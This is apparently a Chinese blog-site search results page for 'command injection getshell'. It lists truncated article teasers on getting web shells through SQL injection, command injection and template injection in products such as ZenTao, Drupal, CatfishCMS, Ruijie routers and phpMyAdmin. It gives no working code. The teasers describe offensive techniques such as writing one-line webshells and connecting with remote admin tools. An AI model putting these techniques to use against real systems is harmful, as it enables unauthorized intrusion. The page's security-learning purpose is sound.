    所以就会出现,如下的错误

    展开全文
  • 禅道8.2-9.2.1注入GetShell

    千次阅读 2019-03-06 10:40:51
    · 漏洞分析附上某老哥的漏洞分析,来了解下原理。...目前漏洞存在于v8.2~v9.2确定版本号之后,我们就可以尝试GetShell利用漏洞,根据另一个老哥博客提供的***方法获取站点路径然后注入一句话***...
  • 0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做...配合POC的效果,我主要是从远程代码执行和GetShell方面去做的利用。 远程代码执行利用: 1.使用超级管理...
  • 某学校网站存在SQL注入漏洞,可以利用sqlmap对齐进行SQL注入攻击,并获得webshell...可以getshell,但是 sqlmap提供的命令行操作不方便,这时,我们可以尝试写入一句话木马: 写入成功后,用蚁剑或者菜刀连接: ...
  • SQL手工注入getshell

    千次阅读 多人点赞 2020-08-18 15:14:54
    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类...
  • getshell之sql注入os-shell

    2020-12-10 10:12:36
    这段时间一直在挖edu,挖到一个从普通用户权限到getshell的站,觉得挺有意义的,记录了一下,也学到了挺多知识的,但中间出现了写小插曲,有个地方没搞好,没弄明白,就一直没发文章,最近通过某不知名大佬的帮助下...
  • 从mysql注入getshell

    2017-08-26 15:55:55
    SQL注入就是一种通过操作输入(可以是表单,可以是get请求,也可以是POST请求等)相关SQL语句,并且能让该语句在数据库中得以执行,...这篇文章主要是讲述通过一个mysql注入漏洞,通过os-shell执行echo命令获取web...
  • CatfishCMS任意命令执行导致getshell

    千次阅读 2019-06-08 14:49:03
    CatfishCMS任意命令执行导致getshell目录一、 漏洞说明二、 漏洞测试三、漏洞修复: 目录 测试环境:windows + php5.4.45 +apache (phpStudy 集成环境) CMS 版本: v4.8.54(发布于2019年1月) 一、 漏洞说明 ...
  • DVWA从注入GETSHELL

    2018-01-06 18:45:00
    众所周知SQL注入的危害是相当大的,对于每个老司机来说,如果发现注入点并可以利用的话,除了脱裤当然是猜解出管理员的用户名密码,后台登陆上传webshell了,虽然这些过程并不一定一路通顺,只是一般的流程,中途会...
  • 文章目录前言手工注入靶场环境into outfileSQLMap靶场环境--os-shell读写文件总结 前言 在 HW 行动和攻防演练过程中,获得 Shell 的方式...通过 SQL 注入漏洞写入木马文件并 Getshell…… 在前面一篇文章:渗透测试-Ph
  • 锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell 漏洞编号: CNVD-2021-09650 漏洞描述:锐捷NBR路由器 EWEB网关系统部分接口存在命令注入,导致远程命令执行获取 漏洞影响: 锐捷NBR路由器 EWEB网关系统 ...
  • Getshell思路总结

    2021-01-20 18:41:46
    getshell的常见方法总结 后台getshell 1.)上传getshell ①基础的文件上传类方式进行getshell upload专题 中间建类总结 ②数据库备份getshell #直接数据库备份getshell ①上传图片马并获得图片马路径 ②通过数据库...
  • Getshell总结

    2021-01-22 14:08:22
    进后台Getshell 管理员后台直接Getshell 管理员后台直接上传Getshell,有时候带密码的Webshell连接时容易被waf拦截,可以上传不加密的Webshell如有权限限制可以尝试管理后台自带的修改文件名功能在文件名前加../来...
  • 2015通达oa-从前台注入到后台getshell

    千次阅读 2019-10-05 12:06:19
    最近做众测的时候遇上的一个系统,2015版本的最新更新日期:2016...注入分析 \inc\common.inc.php <?php function SecureRequest(&$var) { if (is_array($var)) { foreach ($var as $_k => $_v ) { $v...
  • /Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行。 影响版本 骑士 CMS < 6.0.48 环境搭建 ...
  • 虽然返回了500错误,但显然命令已然执行成功,环境变量被输出在控制台:   在vulhub搭建了环境,实战中遇到了一些蛋疼的问题: 单双引号都不能正常使用,我们可以使用es6中的反引号 Function环境下没有...
  • PHPmyadmin Getshell

    千次阅读 2018-07-21 13:17:56
    2. phpMyAdmin getshell思路 3. phpMyAdmin 4.8.1 getshell实战 SHOW VARIABLES LIKE ‘%secure_file_priv%”; 查看读写文件路径 “secure_file_priv”对应的值不能为null,为null就没办法正常写入...
  •  一直想整理这两块的内容,但是一直没时间弄,直到前两天碰上一个写入了菜刀马但是死活连不上菜刀的站,顿时不知道怎么继续了,所以就趁这个机会整理了一下代码执行函数怎么getshell命令执行函数怎么getshell的...
  • 含有命令注入漏洞的函数:system()、exec()、passthru()、shell_exec()、``(与shell_exec()功能相同) 一、 基于DVWA环境的命令注入漏洞(shell_exec) 1、 函数用法String shell_exec(string command)command 要...
  • 命令注入

    2019-08-26 21:42:06
    Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都...
  • 什么是命令注入? 在开发者开发程序过程中,一些高级应用可能需要调用一些外部程序:比如命令行获取信息、exe可执行文件等等。调用的时候会用到一些系统命令函数,通过这些函数,可以在其中注入一些恶意代码 命令...
  • 〇.前言 本文为笃行日常工作记录,这篇审计文章,也是在2014年国庆期间写的,比较简单。...通过本文你可以获取HituxCMS 2.1版本的漏洞发掘过程,getshell和sql注入。 一.系统介绍 海纳企业网站管理系统(...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 13,118
精华内容 5,247
关键字:

命令注入getshell